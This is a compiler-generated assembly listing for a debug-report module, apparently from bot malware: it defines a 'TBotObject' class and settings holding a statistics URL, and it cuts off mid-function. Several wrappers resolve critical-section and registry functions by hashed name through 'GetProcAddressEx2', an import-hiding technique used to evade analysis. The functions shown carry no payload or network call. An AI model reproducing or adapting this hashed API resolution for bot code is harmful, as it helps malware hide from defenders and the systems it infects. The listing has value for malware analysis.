; Listing generated by Microsoft (R) Optimizing Compiler Version 15.00.30729.01 TITLE e:\Projects\progs\Petrosjan\BJWJ\source\Common\DbgRpt.cpp .686P .XMM include listing.inc .model flat INCLUDELIB LIBCMT INCLUDELIB OLDNAMES PUBLIC ?Hibernation@TVideoRecDLL@@2HB ; TVideoRecDLL::Hibernation PUBLIC ?RunCallback@TVideoRecDLL@@2HB ; TVideoRecDLL::RunCallback _BSS SEGMENT _DbgRptSettings DD 01H DUP (?) _BSS ENDS ; COMDAT ?RunCallback@TVideoRecDLL@@2HB CONST SEGMENT ?RunCallback@TVideoRecDLL@@2HB DD 01000H ; TVideoRecDLL::RunCallback CONST ENDS ; COMDAT ?Hibernation@TVideoRecDLL@@2HB CONST SEGMENT ?Hibernation@TVideoRecDLL@@2HB DD 01H ; TVideoRecDLL::Hibernation CONST ENDS PUBLIC ??_7TBotObject@@6B@ ; TBotObject::`vftable' PUBLIC ??1TBotObject@@UAE@XZ ; TBotObject::~TBotObject EXTRN ??_ETBotObject@@UAEPAXI@Z:PROC ; TBotObject::`vector deleting destructor' ; COMDAT ??_7TBotObject@@6B@ ; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h CONST SEGMENT ??_7TBotObject@@6B@ DD FLAT:??_ETBotObject@@UAEPAXI@Z ; TBotObject::`vftable' ; Function compile flags: /Ogspy CONST ENDS ; COMDAT ??1TBotObject@@UAE@XZ _TEXT SEGMENT ??1TBotObject@@UAE@XZ PROC ; TBotObject::~TBotObject, COMDAT ; _this$ = ecx ; 883 : virtual ~TBotObject() {} 00000 c7 01 00 00 00 00 mov DWORD PTR [ecx], OFFSET ??_7TBotObject@@6B@ 00006 c3 ret 0 ??1TBotObject@@UAE@XZ ENDP ; TBotObject::~TBotObject _TEXT ENDS EXTRN ??3TBotObject@@SAXPAX@Z:PROC ; TBotObject::operator delete ; Function compile flags: /Ogspy ; COMDAT ??_GTBotObject@@UAEPAXI@Z _TEXT SEGMENT ___flags$ = 8 ; size = 4 ??_GTBotObject@@UAEPAXI@Z PROC ; TBotObject::`scalar deleting destructor', COMDAT ; _this$ = ecx 00000 f6 44 24 04 01 test BYTE PTR ___flags$[esp-4], 1 00005 56 push esi 00006 8b f1 mov esi, ecx 00008 c7 06 00 00 00 00 mov DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@ 0000e 74 07 je SHORT $LN1@scalar 00010 56 push esi 00011 e8 00 00 00 00 call ??3TBotObject@@SAXPAX@Z ; TBotObject::operator delete 00016 59 pop ecx $LN1@scalar: 00017 8b c6 mov eax, esi 00019 5e pop esi 0001a c2 04 00 ret 4 ??_GTBotObject@@UAEPAXI@Z ENDP ; TBotObject::`scalar deleting destructor' _TEXT ENDS PUBLIC ??0TBotObject@@QAE@XZ ; TBotObject::TBotObject ; Function compile flags: /Ogspy ; COMDAT ??0TBotObject@@QAE@XZ _TEXT SEGMENT ??0TBotObject@@QAE@XZ PROC ; TBotObject::TBotObject, COMDAT ; _this$ = ecx 00000 8b c1 mov eax, ecx 00002 c7 00 00 00 00 00 mov DWORD PTR [eax], OFFSET ??_7TBotObject@@6B@ 00008 c3 ret 0 ??0TBotObject@@QAE@XZ ENDP ; TBotObject::TBotObject _TEXT ENDS PUBLIC ?DebugReportAllocSettings@@YAPAUDebugReportSettings@@_NPBD1@Z ; DebugReportAllocSettings EXTRN ?New@STR@@YAPADPADK@Z:PROC ; STR::New EXTRN ?Alloc@HEAP@@YAPAXK@Z:PROC ; HEAP::Alloc ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp ; COMDAT ?DebugReportAllocSettings@@YAPAUDebugReportSettings@@_NPBD1@Z _TEXT SEGMENT _Enabled$ = 8 ; size = 1 _StatPrefix$ = 12 ; size = 4 _StatUrl$ = 16 ; size = 4 ?DebugReportAllocSettings@@YAPAUDebugReportSettings@@_NPBD1@Z PROC ; DebugReportAllocSettings, COMDAT ; 62 : { 00000 56 push esi ; 63 : DebugReportSettings* result = CreateStruct(DebugReportSettings); 00001 6a 0c push 12 ; 0000000cH 00003 e8 00 00 00 00 call ?Alloc@HEAP@@YAPAXK@Z ; HEAP::Alloc 00008 8b f0 mov esi, eax ; 64 : ; 65 : result->Enabled = Enabled; 0000a 8a 44 24 0c mov al, BYTE PTR _Enabled$[esp+4] ; 66 : result->StatPrefix = STR::New((PCHAR)StatPrefix); 0000e 6a 00 push 0 00010 ff 74 24 14 push DWORD PTR _StatPrefix$[esp+8] 00014 88 06 mov BYTE PTR [esi], al 00016 e8 00 00 00 00 call ?New@STR@@YAPADPADK@Z ; STR::New ; 67 : result->StatUrl = STR::New((PCHAR)StatUrl); 0001b 6a 00 push 0 0001d ff 74 24 20 push DWORD PTR _StatUrl$[esp+16] 00021 89 46 04 mov DWORD PTR [esi+4], eax 00024 e8 00 00 00 00 call ?New@STR@@YAPADPADK@Z ; STR::New 00029 89 46 08 mov DWORD PTR [esi+8], eax 0002c 83 c4 14 add esp, 20 ; 00000014H ; 68 : ; 69 : return result; 0002f 8b c6 mov eax, esi 00031 5e pop esi ; 70 : } 00032 c3 ret 0 ?DebugReportAllocSettings@@YAPAUDebugReportSettings@@_NPBD1@Z ENDP ; DebugReportAllocSettings _TEXT ENDS PUBLIC ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings EXTRN ?Free@HEAP@@YAXPAX@Z:PROC ; HEAP::Free EXTRN ?Free@STR@@YAXPAD@Z:PROC ; STR::Free _BSS SEGMENT _DbgRptSettingDefault DB 0cH DUP (?) ; Function compile flags: /Ogspy _BSS ENDS ; COMDAT ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z _TEXT SEGMENT _settings$ = 8 ; size = 4 ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z PROC ; DebugReportFreeSettings, COMDAT ; 74 : { 00000 56 push esi ; 75 : if (settings == NULL) return; 00001 8b 74 24 08 mov esi, DWORD PTR _settings$[esp] 00005 85 f6 test esi, esi 00007 74 2b je SHORT $LN5@DebugRepor ; 76 : if (settings == &DbgRptSettingDefault) return; 00009 81 fe 00 00 00 00 cmp esi, OFFSET _DbgRptSettingDefault 0000f 74 23 je SHORT $LN5@DebugRepor ; 77 : ; 78 : if (settings->StatPrefix != NULL) STR::Free(settings->StatPrefix); 00011 8b 46 04 mov eax, DWORD PTR [esi+4] 00014 85 c0 test eax, eax 00016 74 07 je SHORT $LN2@DebugRepor 00018 50 push eax 00019 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free 0001e 59 pop ecx $LN2@DebugRepor: ; 79 : if (settings->StatUrl != NULL) STR::Free(settings->StatUrl); 0001f 8b 46 08 mov eax, DWORD PTR [esi+8] 00022 85 c0 test eax, eax 00024 74 07 je SHORT $LN1@DebugRepor 00026 50 push eax 00027 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free 0002c 59 pop ecx $LN1@DebugRepor: ; 80 : ; 81 : FreeStruct(settings); 0002d 56 push esi 0002e e8 00 00 00 00 call ?Free@HEAP@@YAXPAX@Z ; HEAP::Free 00033 59 pop ecx $LN5@DebugRepor: 00034 5e pop esi ; 82 : } 00035 c3 ret 0 ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ENDP ; DebugReportFreeSettings _TEXT ENDS PUBLIC ??_7?$TString@D@@6B@ ; TString::`vftable' PUBLIC ??0?$TString@D@@QAE@XZ ; TString::TString EXTRN ??_E?$TString@D@@UAEPAXI@Z:PROC ; TString::`vector deleting destructor' ; COMDAT ??_7?$TString@D@@6B@ ; File e:\projects\progs\petrosjan\bjwj\source\common\videorecorder.h CONST SEGMENT ??_7?$TString@D@@6B@ DD FLAT:??_E?$TString@D@@UAEPAXI@Z ; TString::`vftable' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\strings.h CONST ENDS ; COMDAT ??0?$TString@D@@QAE@XZ _TEXT SEGMENT ??0?$TString@D@@QAE@XZ PROC ; TString::TString, COMDAT ; _this$ = ecx ; 415 : TString() : Data(0) {}; 00000 8b c1 mov eax, ecx 00002 83 60 04 00 and DWORD PTR [eax+4], 0 00006 c7 00 00 00 00 00 mov DWORD PTR [eax], OFFSET ??_7?$TString@D@@6B@ 0000c c3 ret 0 ??0?$TString@D@@QAE@XZ ENDP ; TString::TString _TEXT ENDS PUBLIC ??_C@_11LOCGONAA@?$AA?$AA@ ; `string' PUBLIC ?t_str@?$TString@D@@QBEPADXZ ; TString::t_str ; COMDAT ??_C@_11LOCGONAA@?$AA?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp CONST SEGMENT ??_C@_11LOCGONAA@?$AA?$AA@ DB 00H, 00H ; `string' ; Function compile flags: /Ogspy CONST ENDS ; COMDAT ?t_str@?$TString@D@@QBEPADXZ _TEXT SEGMENT ?t_str@?$TString@D@@QBEPADXZ PROC ; TString::t_str, COMDAT ; _this$ = ecx ; 701 : // Функция возвращает указатель на данные ; 702 : // В случае отсутствия данных функция возвращает ; 703 : // указатель на пустую строку ; 704 : return (Data)? Data : (TChar*)L""; 00000 8b 41 04 mov eax, DWORD PTR [ecx+4] 00003 85 c0 test eax, eax 00005 75 05 jne SHORT $LN4@t_str 00007 b8 00 00 00 00 mov eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ $LN4@t_str: ; 705 : } 0000c c3 ret 0 ?t_str@?$TString@D@@QBEPADXZ ENDP ; TString::t_str _TEXT ENDS PUBLIC ?Length@?$STRUTILS@D@@SAKPBD@Z ; STRUTILS::Length ; Function compile flags: /Ogspy ; COMDAT ?Length@?$STRUTILS@D@@SAKPBD@Z _TEXT SEGMENT _Str$ = 8 ; size = 4 ?Length@?$STRUTILS@D@@SAKPBD@Z PROC ; STRUTILS::Length, COMDAT ; 27 : // Функция расчитывает длину строки ; 28 : DWORD Len = 0; ; 29 : if (Str != NULL) 00000 8b 4c 24 04 mov ecx, DWORD PTR _Str$[esp-4] 00004 33 c0 xor eax, eax 00006 85 c9 test ecx, ecx 00008 74 0b je SHORT $LN7@Length ; 30 : while (*Str++) Len++; 0000a 38 01 cmp BYTE PTR [ecx], al 0000c 74 07 je SHORT $LN7@Length $LL2@Length: 0000e 41 inc ecx 0000f 40 inc eax 00010 80 39 00 cmp BYTE PTR [ecx], 0 00013 75 f9 jne SHORT $LL2@Length $LN7@Length: ; 31 : ; 32 : return Len; ; 33 : } 00015 c3 ret 0 ?Length@?$STRUTILS@D@@SAKPBD@Z ENDP ; STRUTILS::Length _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBDPAUDebugReportSettings@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUDebugReportSettings@@@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h ; COMDAT ??$DBGOutMessage@PBDPBDPAUDebugReportSettings@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUDebugReportSettings@@@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 4 ??$DBGOutMessage@PBDPBDPAUDebugReportSettings@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUDebugReportSettings@@@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 74 : #ifdef DebugUtils ; 75 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1); ; 76 : #endif ; 77 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBDPAUDebugReportSettings@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUDebugReportSettings@@@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$pushargEx@$00$0NKIBLMFI@$0IP@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,3665935448,143,_RTL_CRITICAL_SECTION *> EXTRN ?GetProcAddressEx2@@YAPAXPADKKH@Z:PROC ; GetProcAddressEx2 ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h ; COMDAT ??$pushargEx@$00$0NKIBLMFI@$0IP@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 ??$pushargEx@$00$0NKIBLMFI@$0IP@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z PROC ; pushargEx<1,3665935448,143,_RTL_CRITICAL_SECTION *>, COMDAT ; 100 : typedef LPVOID (WINAPI *newfunc)(A); ; 101 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 68 8f 00 00 00 push 143 ; 0000008fH 00005 68 58 bc 81 da push -629031848 ; da81bc58H 0000a 6a 01 push 1 0000c 6a 00 push 0 0000e e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00013 83 c4 10 add esp, 16 ; 00000010H ; 102 : return func(a1); 00016 ff 74 24 04 push DWORD PTR _a1$[esp-4] 0001a ff d0 call eax ; 103 : } 0001c c3 ret 0 ??$pushargEx@$00$0NKIBLMFI@$0IP@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ENDP ; pushargEx<1,3665935448,143,_RTL_CRITICAL_SECTION *> _TEXT ENDS PUBLIC ??$pushargEx@$01$0JAKAJHOG@$0OO@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z ; pushargEx<2,2426443750,238,HKEY__ *,char *,int,int,int,long,int,HKEY__ * *,unsigned long *> ; Function compile flags: /Ogspy ; COMDAT ??$pushargEx@$01$0JAKAJHOG@$0OO@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 _a2$ = 12 ; size = 4 _a3$ = 16 ; size = 4 _a4$ = 20 ; size = 4 _a5$ = 24 ; size = 4 _a6$ = 28 ; size = 4 _a7$ = 32 ; size = 4 _a8$ = 36 ; size = 4 _a9$ = 40 ; size = 4 ??$pushargEx@$01$0JAKAJHOG@$0OO@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z PROC ; pushargEx<2,2426443750,238,HKEY__ *,char *,int,int,int,long,int,HKEY__ * *,unsigned long *>, COMDAT ; 163 : { 00000 55 push ebp 00001 8b ec mov ebp, esp ; 164 : typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G, H, I); ; 165 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00003 68 ee 00 00 00 push 238 ; 000000eeH 00008 68 e6 97 a0 90 push -1868523546 ; 90a097e6H 0000d 6a 02 push 2 0000f 6a 00 push 0 00011 e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00016 83 c4 10 add esp, 16 ; 00000010H ; 166 : return func(a1, a2, a3, a4, a5, a6, a7, a8, a9); 00019 ff 75 28 push DWORD PTR _a9$[ebp] 0001c ff 75 24 push DWORD PTR _a8$[ebp] 0001f ff 75 20 push DWORD PTR _a7$[ebp] 00022 ff 75 1c push DWORD PTR _a6$[ebp] 00025 ff 75 18 push DWORD PTR _a5$[ebp] 00028 ff 75 14 push DWORD PTR _a4$[ebp] 0002b ff 75 10 push DWORD PTR _a3$[ebp] 0002e ff 75 0c push DWORD PTR _a2$[ebp] 00031 ff 75 08 push DWORD PTR _a1$[ebp] 00034 ff d0 call eax ; 167 : } 00036 5d pop ebp 00037 c3 ret 0 ??$pushargEx@$01$0JAKAJHOG@$0OO@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z ENDP ; pushargEx<2,2426443750,238,HKEY__ *,char *,int,int,int,long,int,HKEY__ * *,unsigned long *> _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBDPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h ; COMDAT ??$DBGOutMessage@PBDPBDPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 4 ??$DBGOutMessage@PBDPBDPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 74 : #ifdef DebugUtils ; 75 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1); ; 76 : #endif ; 77 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBDPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBDPAUHKEY__@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUHKEY__@@@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; COMDAT ??$DBGOutMessage@PBDPBDPAUHKEY__@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUHKEY__@@@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 4 ??$DBGOutMessage@PBDPBDPAUHKEY__@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUHKEY__@@@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 74 : #ifdef DebugUtils ; 75 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1); ; 76 : #endif ; 77 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBDPAUHKEY__@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUHKEY__@@@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$pushargEx@$01$0BIACOHMI@$0NG@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z ; pushargEx<2,402843592,214,HKEY__ *,char *,int,unsigned long *,unsigned char *,unsigned long *> ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h ; COMDAT ??$pushargEx@$01$0BIACOHMI@$0NG@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 _a2$ = 12 ; size = 4 _a3$ = 16 ; size = 4 _a4$ = 20 ; size = 4 _a5$ = 24 ; size = 4 _a6$ = 28 ; size = 4 ??$pushargEx@$01$0BIACOHMI@$0NG@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z PROC ; pushargEx<2,402843592,214,HKEY__ *,char *,int,unsigned long *,unsigned char *,unsigned long *>, COMDAT ; 139 : { 00000 55 push ebp 00001 8b ec mov ebp, esp ; 140 : typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F); ; 141 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00003 68 d6 00 00 00 push 214 ; 000000d6H 00008 68 c8 e7 02 18 push 402843592 ; 1802e7c8H 0000d 6a 02 push 2 0000f 6a 00 push 0 00011 e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00016 83 c4 10 add esp, 16 ; 00000010H ; 142 : return func(a1, a2, a3, a4, a5, a6); 00019 ff 75 1c push DWORD PTR _a6$[ebp] 0001c ff 75 18 push DWORD PTR _a5$[ebp] 0001f ff 75 14 push DWORD PTR _a4$[ebp] 00022 ff 75 10 push DWORD PTR _a3$[ebp] 00025 ff 75 0c push DWORD PTR _a2$[ebp] 00028 ff 75 08 push DWORD PTR _a1$[ebp] 0002b ff d0 call eax ; 143 : } 0002d 5d pop ebp 0002e c3 ret 0 ??$pushargEx@$01$0BIACOHMI@$0NG@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z ENDP ; pushargEx<2,402843592,214,HKEY__ *,char *,int,unsigned long *,unsigned char *,unsigned long *> _TEXT ENDS PUBLIC ??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z ; pushargEx<2,3677705524,216,HKEY__ *> ; Function compile flags: /Ogspy ; COMDAT ??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 ??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z PROC ; pushargEx<2,3677705524,216,HKEY__ *>, COMDAT ; 100 : typedef LPVOID (WINAPI *newfunc)(A); ; 101 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 68 d8 00 00 00 push 216 ; 000000d8H 00005 68 34 55 35 db push -617261772 ; db355534H 0000a 6a 02 push 2 0000c 6a 00 push 0 0000e e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00013 83 c4 10 add esp, 16 ; 00000010H ; 102 : return func(a1); 00016 ff 74 24 04 push DWORD PTR _a1$[esp-4] 0001a ff d0 call eax ; 103 : } 0001c c3 ret 0 ??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z ENDP ; pushargEx<2,3677705524,216,HKEY__ *> _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBDKK@DBGRPTDEBGTEMPLATES@@YAXPBD0KK@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h ; COMDAT ??$DBGOutMessage@PBDPBDKK@DBGRPTDEBGTEMPLATES@@YAXPBD0KK@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 4 _Arg2$ = 20 ; size = 4 ??$DBGOutMessage@PBDPBDKK@DBGRPTDEBGTEMPLATES@@YAXPBD0KK@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 82 : #ifdef DebugUtils ; 83 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2); ; 84 : #endif ; 85 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBDKK@DBGRPTDEBGTEMPLATES@@YAXPBD0KK@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$pushargEx@$01$0DOEAAPNG@$0NL@PAUHKEY__@@PADHHPBEK@@YAPAXPAUHKEY__@@PADHHPBEK@Z ; pushargEx<2,1044385750,219,HKEY__ *,char *,int,int,unsigned char const *,unsigned long> ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h ; COMDAT ??$pushargEx@$01$0DOEAAPNG@$0NL@PAUHKEY__@@PADHHPBEK@@YAPAXPAUHKEY__@@PADHHPBEK@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 _a2$ = 12 ; size = 4 _a3$ = 16 ; size = 4 _a4$ = 20 ; size = 4 _a5$ = 24 ; size = 4 _a6$ = 28 ; size = 4 ??$pushargEx@$01$0DOEAAPNG@$0NL@PAUHKEY__@@PADHHPBEK@@YAPAXPAUHKEY__@@PADHHPBEK@Z PROC ; pushargEx<2,1044385750,219,HKEY__ *,char *,int,int,unsigned char const *,unsigned long>, COMDAT ; 139 : { 00000 55 push ebp 00001 8b ec mov ebp, esp ; 140 : typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F); ; 141 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00003 68 db 00 00 00 push 219 ; 000000dbH 00008 68 d6 0f 40 3e push 1044385750 ; 3e400fd6H 0000d 6a 02 push 2 0000f 6a 00 push 0 00011 e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00016 83 c4 10 add esp, 16 ; 00000010H ; 142 : return func(a1, a2, a3, a4, a5, a6); 00019 ff 75 1c push DWORD PTR _a6$[ebp] 0001c ff 75 18 push DWORD PTR _a5$[ebp] 0001f ff 75 14 push DWORD PTR _a4$[ebp] 00022 ff 75 10 push DWORD PTR _a3$[ebp] 00025 ff 75 0c push DWORD PTR _a2$[ebp] 00028 ff 75 08 push DWORD PTR _a1$[ebp] 0002b ff d0 call eax ; 143 : } 0002d 5d pop ebp 0002e c3 ret 0 ??$pushargEx@$01$0DOEAAPNG@$0NL@PAUHKEY__@@PADHHPBEK@@YAPAXPAUHKEY__@@PADHHPBEK@Z ENDP ; pushargEx<2,1044385750,219,HKEY__ *,char *,int,int,unsigned char const *,unsigned long> _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBDK@DBGRPTDEBGTEMPLATES@@YAXPBD0K@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h ; COMDAT ??$DBGOutMessage@PBDPBDK@DBGRPTDEBGTEMPLATES@@YAXPBD0K@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 4 ??$DBGOutMessage@PBDPBDK@DBGRPTDEBGTEMPLATES@@YAXPBD0K@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 74 : #ifdef DebugUtils ; 75 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1); ; 76 : #endif ; 77 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBDK@DBGRPTDEBGTEMPLATES@@YAXPBD0K@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBD_NPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; COMDAT ??$DBGOutMessage@PBDPBD_NPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 1 _Arg2$ = 20 ; size = 4 ??$DBGOutMessage@PBDPBD_NPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 82 : #ifdef DebugUtils ; 83 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2); ; 84 : #endif ; 85 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBD_NPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBDPADPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD11@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; COMDAT ??$DBGOutMessage@PBDPBDPADPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD11@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 4 _Arg2$ = 20 ; size = 4 _Arg3$ = 24 ; size = 4 ??$DBGOutMessage@PBDPBDPADPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD11@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 90 : #ifdef DebugUtils ; 91 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2, Arg3); ; 92 : #endif ; 93 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBDPADPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD11@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$pushargEx@$00$0PDLIEPAF@$0JA@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,4088942341,144,_RTL_CRITICAL_SECTION *> ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h ; COMDAT ??$pushargEx@$00$0PDLIEPAF@$0JA@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 ??$pushargEx@$00$0PDLIEPAF@$0JA@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z PROC ; pushargEx<1,4088942341,144,_RTL_CRITICAL_SECTION *>, COMDAT ; 100 : typedef LPVOID (WINAPI *newfunc)(A); ; 101 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 